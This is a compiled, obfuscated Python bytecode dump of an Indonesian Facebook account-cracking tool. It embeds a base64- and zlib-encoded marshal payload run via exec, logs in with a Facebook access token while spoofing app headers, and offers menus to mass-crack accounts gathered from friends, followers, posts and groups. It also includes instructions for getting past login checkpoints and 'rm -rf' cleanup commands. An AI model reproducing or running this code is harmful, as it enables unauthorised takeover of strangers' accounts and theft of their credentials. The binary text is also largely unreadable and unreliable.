bs4(\x01\x00\x00\x00t\x12\x00\x00\x00ThreadPoolExecutor(\x01\x00\x00\x00t\r\x00\x00\x00BeautifulSoup(\x01\x00\x00\x00t\x05\x00\x00\x00sleep(\x01\x00\x00\x00t\x08\x00\x00\x00datetimec\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00C\x00\x00\x00s\x04\x00\x00\x00|\x00\x00S(\x01\x00\x00\x00N(\x00\x00\x00\x00(\x01\x00\x00\x00t\x01\x00\x00\x00x(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x08\x00\x00\x00<lambda>\'\x00\x00\x00t\x00\x00\x00\x00i\x00\x00\x00\x00i\x05\x00\x00\x00i@\x00\x00\x00s^\x00\x00\x00y9\x00e\x00\x00d\x00\x00\x83\x01\x00j\x01\x00e\x00\x00d\x01\x00\x83\x01\x00j\x02\x00e\x00\x00d\x02\x00\x83\x01\x00j\x03\x00d\x03\x00\x83\x01\x00\x83\x01\x00\x83\x01\x00d\x04\x00\x04UWn\x1e\x00\x04e\x04\x00k\n\x00rY\x00\x01Z\x05\x00\x01e\x06\x00e\x05\x00\x83\x01\x00GHn\x01\x00Xd\x04\x00St\x07\x00\x00\x00marshalt\x04\x00\x00\x00zlibt\x06\x00\x00\x00base64s \t\x00\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t\n\x00\x00\x00__import__t\x05\x00\x00\x00loadst\n\x00\x00\x00decompresst\t\x00\x00\x00b64decodet\t\x00\x00\x00Exceptiont\x01\x00\x00\x00et\x03\x00\x00\x00strs\n\x00\x00\x00enc_lam.pys\x08\x00\x00\x00<module>i\x01\x00\x00\x00s\x06\x00\x00\x00\x03\x009\x01\x0f\x00c\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s@\x00\x00\x00x9\x00|\x00\x00d\x01\x00\x17D]-\x00}\x01\x00t\x00\x00j\x01\x00j\x02\x00|\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x03\x00\x83\x00\x00\x01t\x04\x00d\x02\x00\x83\x01\x00\x01q\x0b\x00Wd\x00\x00S(\x03\x00\x00\x00Ns\x01\x00\x00\x00\ng{\x14\xaeG\xe1z\x84?(\x05\x00\x00\x00t\x03\x00\x00\x00syst\x06\x00\x00\x00stdoutt\x05\x00\x00\x00writet\x05\x00\x00\x00flusht\x04\x00\x00\x00jeda(\x02\x00\x00\x00t\x01\x00\x00\x00zR\x0f\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x05\x00\x00\x00jalan)\x00\x00\x00s\x08\x00\x00\x00\x00\x01\x11\x01\x10\x01\r\x00c\x00\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00sL\x00\x00\x00d\x01\x00d\x02\x00d\x03\x00g\x03\x00}\x00\x00x6\x00|\x00\x00D].\x00}\x01\x00d\x04\x00t\x00\x00t\x01\x00|\x01\x00f\x03\x00\x16Gt\x02\x00j\x03\x00j\x04\x00\x83\x00\x00\x01t\x05\x00d\x05\x00\x83\x01\x00\x01q\x16\x00Wd\x00\x00S(\x06\x00\x00\x00Ns\x04\x00\x00\x00. s\x04\x00\x00\x00.. s\x04\x00\x00\x00... s\x15\x00\x00\x00\r%s%s Menghapus !! %si\x01\x00\x00\x00(\x06\x00\x00\x00t\x01\x00\x00\x00Ht\x03\x00\x00\x00tilR\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00(\x02\x00\x00\x00t\x05\x00\x00\x00titikt\x01\x00\x00\x00o(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x03\x00\x00\x00tik-\x00\x00\x00s\n\x00\x00\x00\x00\x01\x0f\x01\r\x01\x11\x01\r\x00c\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sd\x00\x00\x00y\x11\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xy\x11\x00t\x00\x00j\x01\x00d\x02\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xy \x00d\x03\x00}\x00\x00t\x02\x00d\x04\x00d\x05\x00\x83\x02\x00j\x03\x00|\x00\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xd\x00\x00S(\x06\x00\x00\x00Nt\x05\x00\x00\x00hasilt\x04\x00\x00\x00datas\x7f\x00\x00\x00Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1s\x0b\x00\x00\x00data/ua.txtt\x01\x00\x00\x00w(\x04\x00\x00\x00t\x02\x00\x00\x00ost\x05\x00\x00\x00mkdirt\x04\x00\x00\x00openR\x13\x00\x00\x00(\x01\x00\x00\x00t\x03\x00\x00\x00ua_(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x06\x00\x00\x00folder3\x00\x00\x00s\x1a\x00\x00\x00\x00\x01\x03\x00\x11\x01\x03\x00\x04\x01\x03\x00\x11\x01\x03\x00\x04\x01\x03\x01\x06\x01\x1a\x01\x03\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\x18\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00\x83\x00\x00\x01d\x00\x00S(\x02\x00\x00\x00Ns-\x00\x00\x00xdg-open https://wa.me/message/35SU3CBC6EBRO1(\x03\x00\x00\x00R \x00\x00\x00t\x06\x00\x00\x00systemt\x04\x00\x00\x00menu(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\t\x00\x00\x00eror_suhu>\x00\x00\x00s\x04\x00\x00\x00\x00\x01\r\x01s\x16\x00\x00\x00https://api.ipify.org/c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\r\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01d\x02\x00GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x04\x00GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x05\x00GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x06\x00GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x07\x00GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x08\x00GHd\t\x00t\x04\x00t\x05\x00t\x04\x00t\x04\x00f\x04\x00\x16GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\n\x00t\x04\x00t\x05\x00t\x04\x00t\x04\x00f\x04\x00\x16GHd\x0b\x00t\x04\x00t\x05\x00t\x04\x00t\x04\x00f\x04\x00\x16GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x0c\x00t\x04\x00t\x05\x00t\x04\x00t\x04\x00f\x04\x00\x16GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\r\x00t\x04\x00t\x05\x00t\x04\x00t\x04\x00f\x04\x00\x16GHt\x02\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x00\x00S(\x0e\x00\x00\x00Nt\x05\x00\x00\x00clears+\x00\x00\x00\x1b[0;37m ________________ __________________g\x9a\x99\x99\x99\x99\x99\xb9?sD\x00\x00\x00\x1b[0;37m __ ____/___ |___ ____/____ _/ \x1b[0;35m\xe2\x96\xba Crack \xe2\x95\xb0_\xe2\x95\xafsF\x00\x00\x00\x1b[0;37m _ / __ /| |__ /_ __ / \x1b[0;35m\xe2\x96\xba Account \xe2\x95\xb0_\xe2\x95\xafsG\x00\x00\x00\x1b[0;35m / /___ _ ___ |_ __/ __/ / \x1b[0;35m\xe2\x96\xba Facebook \xe2\x95\xb0_\xe2\x95\xafsH\x00\x00\x00\x1b[0;35m \\____/ /_/ |_|/_/ /___/ \x1b[0;35m\xe2\x96\xba Indonesia \xe2\x95\xb0_\xe2\x95\xafs\x01\x00\x00\x00\ns/\x00\x00\x00\n %s[%s\xe2\x80\xa2\xe2\x80\xa2%s] %s Author : Khamdihi xcracks\'\x00\x00\x00 %s[%s\xe2\x80\xa2\xe2\x80\xa2%s] %s Author : Reza-Xd s8\x00\x00\x00 %s[%s\xe2\x80\xa2\xe2\x80\xa2%s] %s github : https://github.com/OPDIHIs5\x00\x00\x00 %s[%s\xe2\x80\xa2\xe2\x80\xa2%s] %s Tricker From Indonesia brotherhoods1\x00\x00\x00 %s[%s\xe2\x80\xa2\xe2\x80\xa2%s] %s IM Froom Purbasari/Purbalingga(\x06\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00t\x04\x00\x00\x00timeR\x02\x00\x00\x00t\x01\x00\x00\x00PR\x18\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x06\x00\x00\x00bannerC\x00\x00\x00s*\x00\x00\x00\x00\x01\r\x01\x05\x00\r\x01\x05\x00\r\x01\x05\x00\r\x01\x05\x00\r\x01\x05\x00\r\x01\x05\x01\x15\x00\r\x01\x15\x01\x15\x00\r\x01\x15\x00\r\x01\x15\x00g\x00\x00\x00\x00\xd0\x12sAg\x00\x00\x00\x008\x9c|As\x19\x00\x00\x00x-fb-connection-bandwidthi N\x00\x00i@\x9c\x00\x00s\x0c\x00\x00\x00x-fb-sim-hnis\x0c\x00\x00\x00x-fb-net-hnit\t\x00\x00\x00EXCELLENTs\x17\x00\x00\x00x-fb-connection-qualitys!\x00\x00\x00cell.CTRadioAccessTechnologyHSDPAs\x14\x00\x00\x00x-fb-connection-types~\x00\x00\x00NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+ ;]s\n\x00\x00\x00user-agents!\x00\x00\x00application/x-www-form-urlencodeds\x0c\x00\x00\x00content-typet\x05\x00\x00\x00Ligers\x10\x00\x00\x00x-fb-http-enginec\x00\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\\\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00\x83\x00\x00\x01d\x02\x00t\x03\x00t\x04\x00t\x03\x00f\x03\x00\x16GHt\x05\x00d\x03\x00t\x03\x00t\x06\x00f\x02\x00\x16\x83\x01\x00}\x00\x00|\x00\x00d\x04\x00k\x06\x00r[\x00d\x05\x00t\x04\x00\x16GHt\x07\x00\x83\x00\x00\x01n\xfd\x00|\x00\x00d\x17\x00k\x06\x00r\x1f\x01t\x05\x00d\x08\x00t\x03\x00t\x06\x00f\x02\x00\x16\x83\x01\x00}\x01\x00|\x01\x00d\x04\x00k\x06\x00r\x9c\x00d\t\x00t\x04\x00\x16GHt\x07\x00\x83\x00\x00\x01n\x00\x00yV\x00t\x08\x00j\t\x00d\n\x00|\x01\x00\x16\x83\x01\x00j\n\x00\x83\x00\x00d\x0b\x00\x19}\x02\x00d\x0c\x00GHt\x0b\x00d\r\x00\x83\x01\x00\x01d\x0e\x00t\x0c\x00\x16GHt\r\x00d\x0f\x00d\x10\x00\x83\x02\x00j\x0e\x00|\x01\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01WqX\x01\x04t\x10\x00t\x11\x00f\x02\x00k\n\x00r\x1b\x01\x01\x01\x01d\x11\x00t\x04\x00\x16GHt\x12\x00\x83\x00\x00\x01qX\x01Xn9\x00|\x01\x00d\x18\x00k\x06\x00rB\x01t\x00\x00j\x13\x00d\x14\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x16\x00|\x01\x00d\x19\x00k\x06\x00rX\x01t\x07\x00\x83\x00\x00\x01n\x00\x00d\x00\x00S(\x1a\x00\x00\x00NR(\x00\x00\x00s@\x00\x00\x00\n%s [01] Login via token \n [02] Contack Author \n [%s00%s] Keluars\x11\x00\x00\x00\n%s [?] Menu : %sR\x06\x00\x00\x00s\x16\x00\x00\x00%s [!] Isi yang benar t\x01\x00\x00\x001t\x02\x00\x00\x0001s\x11\x00\x00\x00%s [?] Token : %ss\x15\x00\x00\x00%s [!] Isi yang benars-\x00\x00\x00https://graph.facebook.com/me?access_token=%st\x04\x00\x00\x00names\x0f\x00\x00\x00[!] please waiti\x03\x00\x00\x00s\x18\x00\x00\x00\n%s[\xe2\x88\x9a] Login berhasil s\t\x00\x00\x00token.txtR\x1f\x00\x00\x00s\x15\x00\x00\x00%s [!] Token invalid t\x01\x00\x00\x002t\x02\x00\x00\x0002s-\x00\x00\x00xdg-open https://wa.me/message/35SU3CBC6EBRO1t\x01\x00\x00\x000t\x02\x00\x00\x0000(\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00(\x02\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00(\x02\x00\x00\x00R3\x00\x00\x00R4\x00\x00\x00(\x14\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00R+\x00\x00\x00R*\x00\x00\x00t\x01\x00\x00\x00Mt\t\x00\x00\x00raw_inputt\x01\x00\x00\x00Kt\x04\x00\x00\x00exitt\x08\x00\x00\x00requestst\x03\x00\x00\x00gett\x04\x00\x00\x00jsonR\x15\x00\x00\x00R\x18\x00\x00\x00R"\x00\x00\x00R\x13\x00\x00\x00R&\x00\x00\x00t\x08\x00\x00\x00KeyErrort\x07\x00\x00\x00IOErrort\x05\x00\x00\x00logint\x05\x00\x00\x00sysem(\x03\x00\x00\x00t\x02\x00\x00\x00hit\x04\x00\x00\x00romzt\x03\x00\x00\x00gas(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR>\x00\x00\x00Q\x00\x00\x00s6\x00\x00\x00\x00\x01\r\x00\x07\x01\x12\x01\x16\x01\x0c\x01\t\x00\n\x01\x0c\x01\x16\x01\x0c\x01\t\x00\n\x01\x03\x01\x1d\x01\x05\x00\n\x01\t\x01\x16\x00\x0b\x02\x13\x01\t\x00\x0e\x01\x0c\x01\r\x00\n\x01\x0c\x01s\x08\x00\x00\x00%d-%m-%Yc\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sV\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00\x83\x00\x00\x01d\x02\x00GHd\x03\x00GHd\x04\x00GHd\x05\x00GHd\x06\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHt\x03\x00d\x0b\x00\x83\x01\x00\x01t\x04\x00\x83\x00\x00\x01d\x00\x00S(\x0c\x00\x00\x00NR(\x00\x00\x00t\x01\x00\x00\x00\ts\x13\x00\x00\x00[\xe2\x80\xa2] Yang pertama s+\x00\x00\x00[\xe2\x80\xa2] Loginin akun cp kamu ke hp temen kamus!\x00\x00\x00[\xe2\x80\xa2] setelah itu tunggu 5 menit s"\x00\x00\x00[\xe2\x80\xa2] baru loginin lagi di hp kamus\x1c\x00\x00\x00[\xe2\x80\xa2] maaf kalo ga jebol ya s%\x00\x00\x00[\xe2\x80\xa2] Aku ga ngeharusin kamu mencoba s(\x00\x00\x00[\xe2\x80\xa2] Tapi ngga ad salah nya kan mencobas\x13\x00\x00\x00[\xe2\x80\xa2] Back to menu s\x0c\x00\x00\x00[\xe2\x80\xa2] Enter (\x05\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00R+\x00\x00\x00R6\x00\x00\x00R&\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x05\x00\x00\x00jeboll\x00\x00\x00s\x1a\x00\x00\x00\x00\x01\r\x00\x07\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\n\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\x1a\x00\x00\x00d\x01\x00GHt\x00\x00d\x02\x00\x83\x01\x00\x01t\x01\x00\x83\x00\x00\x01d\x00\x00S(\x03\x00\x00\x00Ns\x1d\x00\x00\x00[!] Belum ada update terbaru s\x08\x00\x00\x00[!] Back(\x02\x00\x00\x00R6\x00\x00\x00R&\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x06\x00\x00\x00updatez\x00\x00\x00s\x06\x00\x00\x00\x00\x01\x05\x01\n\x01c\x00\x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\x9a\x04\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn8\x00\x04t\x04\x00k\n\x00r`\x00\x01\x01\x01d\x04\x00t\x05\x00\x16GHt\x06\x00d\x05\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00XyM\x00t\x08\x00j\t\x00d\x07\x00|\x00\x00\x17d\x08\x00t\n\x00\x83\x01\x01}\x01\x00t\x0b\x00j\x0c\x00|\x01\x00j\r\x00\x83\x01\x00}\x02\x00|\x02\x00d\t\x00\x19}\x03\x00|\x02\x00d\n\x00\x19}\x04\x00|\x02\x00d\x0b\x00\x19}\x05\x00Wn\\\x00\x04t\x0e\x00k\n\x00r\xe8\x00\x01\x01\x01d\x04\x00t\x05\x00\x16GHt\x06\x00d\x0c\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\r\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n%\x00\x04t\x08\x00j\x0f\x00j\x10\x00k\n\x00r\x0c\x01\x01\x01\x01t\x11\x00d\x0e\x00t\x05\x00\x16\x83\x01\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01d\x0f\x00GHd\x10\x00t\x13\x00t\x14\x00|\x05\x00t\x14\x00f\x04\x00\x16GHt\x15\x00j\x16\x00d\x11\x00\x83\x01\x00\x01d\x12\x00t\x13\x00t\x17\x00t\x18\x00t\x13\x00f\x04\x00\x16GHt\x15\x00j\x16\x00d\x11\x00\x83\x01\x00\x01d\x13\x00t\x13\x00t\x17\x00|\x03\x00t\x13\x00f\x04\x00\x16GHt\x15\x00j\x16\x00d\x11\x00\x83\x01\x00\x01d\x14\x00t\x13\x00t\x17\x00t\x19\x00t\x13\x00f\x04\x00\x16GHt\x15\x00j\x16\x00d\x11\x00\x83\x01\x00\x01d\x0f\x00GHd\x15\x00t\x17\x00t\x13\x00f\x02\x00\x16GHd\x16\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x17\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x18\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x19\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x1a\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x1b\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x1c\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x1d\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x1e\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d\x1f\x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01d \x00t\x17\x00t\x13\x00f\x02\x00\x16GHt\x06\x00d\x11\x00\x83\x01\x00\x01t\x1a\x00d!\x00t\x13\x00t\x14\x00f\x02\x00\x16\x83\x01\x00}\x06\x00|\x06\x00d"\x00k\x02\x00r\x10\x03d#\x00GHt\x06\x00d\x05\x00\x83\x01\x00\x01t\x1b\x00\x83\x00\x00\x01n\x86\x01|\x06\x00d?\x00k\x06\x00r)\x03t\x1c\x00|\x00\x00\x83\x01\x00\x01nm\x01|\x06\x00d@\x00k\x06\x00rB\x03t\x1d\x00|\x00\x00\x83\x01\x00\x01nT\x01|\x06\x00dA\x00k\x06\x00r[\x03t\x1e\x00|\x00\x00\x83\x01\x00\x01n;\x01|\x06\x00dB\x00k\x06\x00rq\x03t\x1f\x00\x83\x00\x00\x01n%\x01|\x06\x00dC\x00k\x06\x00r\x87\x03t \x00\x83\x00\x00\x01n\x0f\x01|\x06\x00dD\x00k\x06\x00r\xbf\x03d0\x00t\x13\x00\x16GHt\x1a\x00d1\x00t\x13\x00t\x05\x00f\x02\x00\x16\x83\x01\x00}\x07\x00t!\x00|\x07\x00\x83\x01\x00\x01n\xd7\x00|\x06\x00dE\x00k\x06\x00r\xe2\x03t\x00\x00j\x01\x00d4\x00\x83\x01\x00\x01t\x1b\x00\x83\x00\x00\x01n\xb4\x00|\x06\x00dF\x00k\x06\x00r\xf8\x03t"\x00\x83\x00\x00\x01n\x9e\x00|\x06\x00dG\x00k\x06\x00r\x0e\x04t#\x00\x83\x00\x00\x01n\x88\x00|\x06\x00dH\x00k\x06\x00r$\x04t$\x00\x83\x00\x00\x01nr\x00|\x06\x00dI\x00k\x06\x00r:\x04t%\x00\x83\x00\x00\x01n\\\x00|\x06\x00dJ\x00k\x06\x00r|\x04d"\x00GHt&\x00\x83\x00\x00\x01t\x06\x00d\x0c\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x06\x00\x83\x01\x00\x01d=\x00t\x14\x00\x16GHt\x11\x00\x83\x00\x00\x01n\x1a\x00d>\x00t\x17\x00\x16GHt\x06\x00d\x05\x00\x83\x01\x00\x01t\x1b\x00\x83\x00\x00\x01d\x00\x00S(K\x00\x00\x00NR(\x00\x00\x00s\t\x00\x00\x00token.txtt\x01\x00\x00\x00rs\x15\x00\x00\x00%s [!] Token invalid i\x02\x00\x00\x00s\x10\x00\x00\x00rm -rf token.txts+\x00\x00\x00https://graph.facebook.com/me?access_token=t\x07\x00\x00\x00headerst\x08\x00\x00\x00birthdayt\x02\x00\x00\x00idR0\x00\x00\x00i\x01\x00\x00\x00s,\x00\x00\x00rm -rf data/token.txt && rm -rf data/cookiess\x19\x00\x00\x00%s [!] Kesalahan koneksi RC\x00\x00\x00s&\x00\x00\x00 %s[\xe2\x80\xa2\xe2\x80\xa2] Selamat datang : %s%s%s g\x9a\x99\x99\x99\x99\x99\xb9?s&\x00\x00\x00 %s[\xe2\x80\xa2\xe2\x80\xa2] IP : %s%s%s s&\x00\x00\x00 %s[\xe2\x80\xa2\xe2\x80\xa2] TTL : %s%s%s s&\x00\x00\x00 %s[\xe2\x80\xa2\xe2\x80\xa2] Kamu Masuk pada : %s%s%s s"\x00\x00\x00 [%s01%s] Crack From Publik/Frindss/\x00\x00\x00 [%s02%s] Crack From Folowers & folowers frindss\'\x00\x00\x00 [%s03%s] Crack From Postingan * Publiks\x1c\x00\x00\x00 [%s04%s] Seting User Agent s\x1b\x00\x00\x00 [%s05%s] Tutor jebol sesi s\x1a\x00\x00\x00 [%s06%s] Cek Hasil crack s;\x00\x00\x00 [%s07%s] Cara gandain apliaksi [ Lihat tutor jebol dulu ] s\x1d\x00\x00\x00 [%s08%s] Tutor jebol ke dua s$\x00\x00\x00 [%s09%s] Lapor bug + contack authors+\x00\x00\x00 [%s10%s] Crack From Grup [ MASIH UPDATE ] s(\x00\x00\x00 [%s11%s] Update tools [ BELUM UPDATE ] s\x16\x00\x00\x00 [%s00%s] Hapus token s\x17\x00\x00\x00\n%s [?] Chose Menu : %sR\x06\x00\x00\x00s\x19\x00\x00\x00 [!] tidak ada di menu ! R.\x00\x00\x00R/\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00t\x01\x00\x00\x003t\x02\x00\x00\x0003t\x01\x00\x00\x004t\x02\x00\x00\x0004t\x01\x00\x00\x005t\x02\x00\x00\x0005t\x01\x00\x00\x006t\x02\x00\x00\x0006s"\x00\x00\x00\n%s [1] Hasil crack akun facebook s\x11\x00\x00\x00\n%s [?] Menu : %st\x01\x00\x00\x007t\x02\x00\x00\x0007s=\x00\x00\x00xdg-open https://youtube.com/shorts/ldR1ZfxmoZI?feature=sharet\x01\x00\x00\x008t\x02\x00\x00\x0008t\x01\x00\x00\x009t\x02\x00\x00\x0009t\x02\x00\x00\x0010t\x02\x00\x00\x0011R3\x00\x00\x00R4\x00\x00\x00s\x1c\x00\x00\x00\n%s [\xe2\x88\x9a] berhasil terhapus s\x16\x00\x00\x00%s [!] Ga ada di menu 